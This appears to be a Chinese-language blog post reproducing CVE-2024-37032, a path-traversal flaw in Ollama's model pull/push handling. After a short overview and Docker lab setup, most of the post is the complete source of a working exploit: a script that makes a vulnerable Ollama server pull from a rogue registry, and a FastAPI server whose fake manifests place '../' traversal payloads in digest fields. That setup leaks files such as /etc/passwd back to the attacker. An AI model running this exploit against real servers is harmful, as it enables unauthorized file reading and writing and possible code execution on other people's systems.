CVE-2024-37032-Ollama漏洞

简介

Ollama是一个专为在本地环境中运行和定制大型语言模型而设计的工具。它提供了一个简单高效的接口,用于创建、运行和管理这些模型,同时还提供了一个丰富的预构建模型库,可以轻松集成到各种应用程序中。Ollama的目标是使大型语言模型的部署和交互变得简单,无论是对于开发者还是对于终端用户。

漏洞概述

漏洞编号:CVE-2024-37032 该漏洞允许通过路径遍历任意写入文件。digest字段的验证不正确,服务器错误地将有效负载解释为合法的文件路径,攻击者可在digest字段中包含路径遍历payload的恶意清单文件,利用该漏洞实现任意文件读取/写入或导致远程代码执行。

影响版本

Ollama < 0.1.34

环境搭建

在docker里面设置/etc/docker/daemon.json文件,可供拉取国外镜像(没有可新建)

{

"registry-mirrors": [

"https://registry.docker-cn.com",

"http://hub-mirror.c.163.com",

"https://dockerhub.azk8s.cn",

"https://mirror.ccs.tencentyun.com",

"https://registry.cn-hangzhou.aliyuncs.com",

"https://docker.mirrors.ustc.edu.cn",

"https://docker.m.daocloud.io",

"https://noohub.ru",

"https://huecker.io",

"https://dockerhub.timeweb.cloud"

]

}

好消息docker镜像可以使用了

拉取docker镜像

docker run -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama:0.1.33

发现版本存在漏洞

python3 main.py --file 'etc/hosts' --target 192.168.16.135 --namespace 'mem/test' --host 192.168.16.135

python3 main.py --file 'etc/passwd' --target 192.168.16.135 --namespace 'mem/test' --host 192.168.16.135

对比文件

main.py

import threading

from time import sleep

import requests

import uvicorn

import argparse

from server import create_app

import socket

SLEEP_TIME = 0.5

def get_machine_ip():

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

try:

s.connect(("8.8.8.8", 80))

ip = s.getsockname()[0]

except Exception:

ip = "127.0.0.1"

finally:

s.close()

return ip

def run_server(file, host, namespace):

app = create_app(file, host, namespace)

uvicorn.run(app, host='0.0.0.0', port=80)

if name == "main":

parser = argparse.ArgumentParser(description="Run FastAPI rogue server and exploit script (CVE-2024-37032).")

parser.add_argument("--file", type=str, required=True, help="The file to read remotely.")

parser.add_argument("--target", type=str, required=True, help="The vulnerable Ollama instance's (target) IP.")

parser.add_argument("--target-ip", type=str, required=False, default=11434, help="The vulnerablr Ollama instance's (target) port.")

parser.add_argument("--host", type=str, required=False, help="Current (attacker) machine's IP.")

parser.add_argument("--namespace", type=str, required=False, default='vsociety/test', help="The string for the rogue registry namespace.")

args = parser.parse_args()

host = args.host or get_machine_ip()

target_url = f"http://{args.target}:{args.target_ip}"

file = args.file.lstrip("/")

Start the server in a new thread

server_thread = threading.Thread(target=run_server, args=(file, host, args.namespace))

server_thread.daemon = True

server_thread.start()

Give the server a moment to start

sleep(SLEEP_TIME)

vuln_registry_url = f"{host}/{args.namespace}"

pull_url = f"{target_url}/api/pull"

push_url = f"{target_url}/api/push"

Now proceed with the requests

requests.post(pull_url, json={"name": vuln_registry_url, "insecure": True})

sleep(SLEEP_TIME)

requests.post(push_url, json={"name": vuln_registry_url, "insecure": True})

Join the server thread if you want to wait for the server to finish (optional)

server_thread.join()

server.py

from fastapi import FastAPI, Request, Response

PATH_TRAVELSAL_STRING = 14

PREFIX = "../" * PATH_TRAVELSAL_STRING

UUID = "3647298c-9588-4dd2-9bbe-0539533d2d04"

STATE = "eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D"

def create_app(file: str, host: str, namespace: str):

app = FastAPI()

def write_to_file(text):

try:

with open('response.txt', 'w') as file_to_write:

file_to_write.write(text)

print(f"Content of {file} successfully written to response.txt.")

except IOError:

print(f"Error: Could not write to response.txt.")

@app.get("/")

async def index_get():

return {"message": "Hello!"}

@app.post("/")

async def index_post(callback_data: Request):

#print(await callback_data.body())

return {"message": "Hello!"}

PULL

@app.get(f"/v2/{namespace}/manifests/latest")

async def fake_manifests():

return {

"schemaVersion": 2,

"mediaType": "application/vnd.docker.distribution.manifest.v2+json",

"config": {

"mediaType": "application/vnd.docker.container.image.v1+json",

"digest": f"{PREFIX}{file}",

"size": 10

},

"layers":[

{

"mediaType":"application/vnd.ollama.image.license",

"digest":f"{PREFIX}tmp/notfoundfile",

"size":10

},

{

"mediaType":"application/vnd.docker.distribution.manifest.v2+json",

"digest":f"{PREFIX}{file}",

"size":10

},

{

"mediaType":"application/vnd.ollama.image.license",

"digest":f"{PREFIX}root/.ollama/models/manifests/{host}/{namespace}/latest",

"size":10

}

]

}

@app.head(f"/{file}")

async def fake_head(response: Response):

response.headers["Docker-Content-Digest"] = f"{PREFIX}{file}"

return ''

@app.get(f"/{file}", status_code=206)

async def fake_get(response: Response):

response.headers["Docker-Content-Digest"] = f"{PREFIX}{file}"

response.headers["E-Tag"] = f"\"{PREFIX}{file}\""

return 'test'

@app.head(f"/root/.ollama/models/manifests/{host}/{namespace}/latest")

async def fake_latest_head(response: Response):

response.headers["Docker-Content-Digest"] = f"{PREFIX}root/.ollama/models/manifests/{host}/{namespace}/latest"

return ''

@app.get(f"/root/.ollama/models/manifests/{host}/{namespace}/latest", status_code=206)

async def fake_latest_get(response: Response):

response.headers["Docker-Content-Digest"] = f"{PREFIX}root/.ollama/models/manifests/{host}/{namespace}/latest"

response.headers["E-Tag"] = f"\"{PREFIX}root/.ollama/models/manifests/{host}/{namespace}/latest\""

return {

"schemaVersion": 2,

"mediaType": "application/vnd.docker.distribution.manifest.v2+json",

"config": {

"mediaType": "application/vnd.docker.container.image.v1+json",

"digest": f"{PREFIX}{file}",

"size": 10

},

"layers":[

{

"mediaType":"application/vnd.ollama.image.license",

"digest":f"{PREFIX}tmp/notfoundfile",

"size":10

},

{

"mediaType":"application/vnd.docker.distribution.manifest.v2+json",

"digest":f"{PREFIX}{file}",

"size":10

},

{

"mediaType":"application/vnd.ollama.image.license",

"digest":f"{PREFIX}root/.ollama/models/manifests/{host}/{namespace}/latest",

"size":10

}

]

}

@app.head("/tmp/notfoundfile")

async def fake_notfound_head(response: Response):

response.headers["Docker-Content-Digest"] = f"{PREFIX}tmp/notfoundfile"

return ''

@app.get("/tmp/notfoundfile", status_code=206)

async def fake_notfound_get(response: Response):

response.headers["Docker-Content-Digest"] = f"{PREFIX}tmp/notfoundfile"

response.headers["E-Tag"] = f"\"{PREFIX}tmp/notfoundfile\""

return ''

PUSH

@app.post(f"/v2/{namespace}/blobs/uploads/", status_code=202)

async def fake_upload_post(callback_data: Request, response: Response):

#print(await callback_data.body())

response.headers["Docker-Upload-Uuid"] = UUID

response.headers["Location"] = f"http://{host}/v2/{namespace}/blobs/uploads/{UUID}?_state={STATE}"

return ''

@app.patch(f"/v2/{namespace}/blobs/uploads/{UUID}", status_code=202)

async def fake_patch_file(callback_data: Request):

body = await callback_data.body()

decoded_body = body.decode("utf-8")

pretty_body = decoded_body.replace("\n", "\n")

print(pretty_body)

print("Writing response to file...")

write_to_file(pretty_body)

return ''

@app.post(f"/v2/{namespace}/blobs/uploads/{UUID}", status_code=202)

async def fake_post_file(callback_data: Request):

#print(await callback_data.body())

return ''

@app.put(f"/v2/{namespace}/manifests/latest")

async def fake_manifests_put(callback_data: Request, response: Response):

#print(await callback_data.body())

response.headers["Docker-Upload-Uuid"] = UUID

response.headers["Location"] = f"http://{host}/v2/{namespace}/blobs/uploads/{UUID}?_state={STATE}"

return ''

return app

相关推荐
hikktn4 小时前
如何在 Rust 中实现内存安全:与 C/C++ 的对比分析
c语言·安全·rust
23zhgjx-NanKon6 小时前
华为eNSP:QinQ
网络·安全·华为
23zhgjx-NanKon6 小时前
华为eNSP:mux-vlan
网络·安全·华为
昔我往昔7 小时前
阿里云文本内容安全处理
安全·阿里云·云计算
Lionhacker7 小时前
网络工程师这个行业可以一直干到退休吗?
网络·数据库·网络安全·黑客·黑客技术
centos089 小时前
PWN(栈溢出漏洞)-原创小白超详细[Jarvis-level0]
网络安全·二进制·pwn·ctf
棱角~~9 小时前
盘点和嗨格式一样好用的10款数据恢复!!
数据库·经验分享·安全·电脑·学习方法
NETFARMER运营坛10 小时前
如何优化 B2B 转化率?这些步骤你不可不知
大数据·安全·阿里云·ai·ai写作
安徽京准10 小时前
京准时钟:无人机卫星信号安全防护隔离装置
安全·无人机·信号安全防护装置·卫星安全隔离装置·北斗授时安全隔离·北斗对时防护隔离装置
mingzhi6110 小时前
渗透测试-快速获取目标中存在的漏洞(小白版)
安全·web安全·面试·职场和发展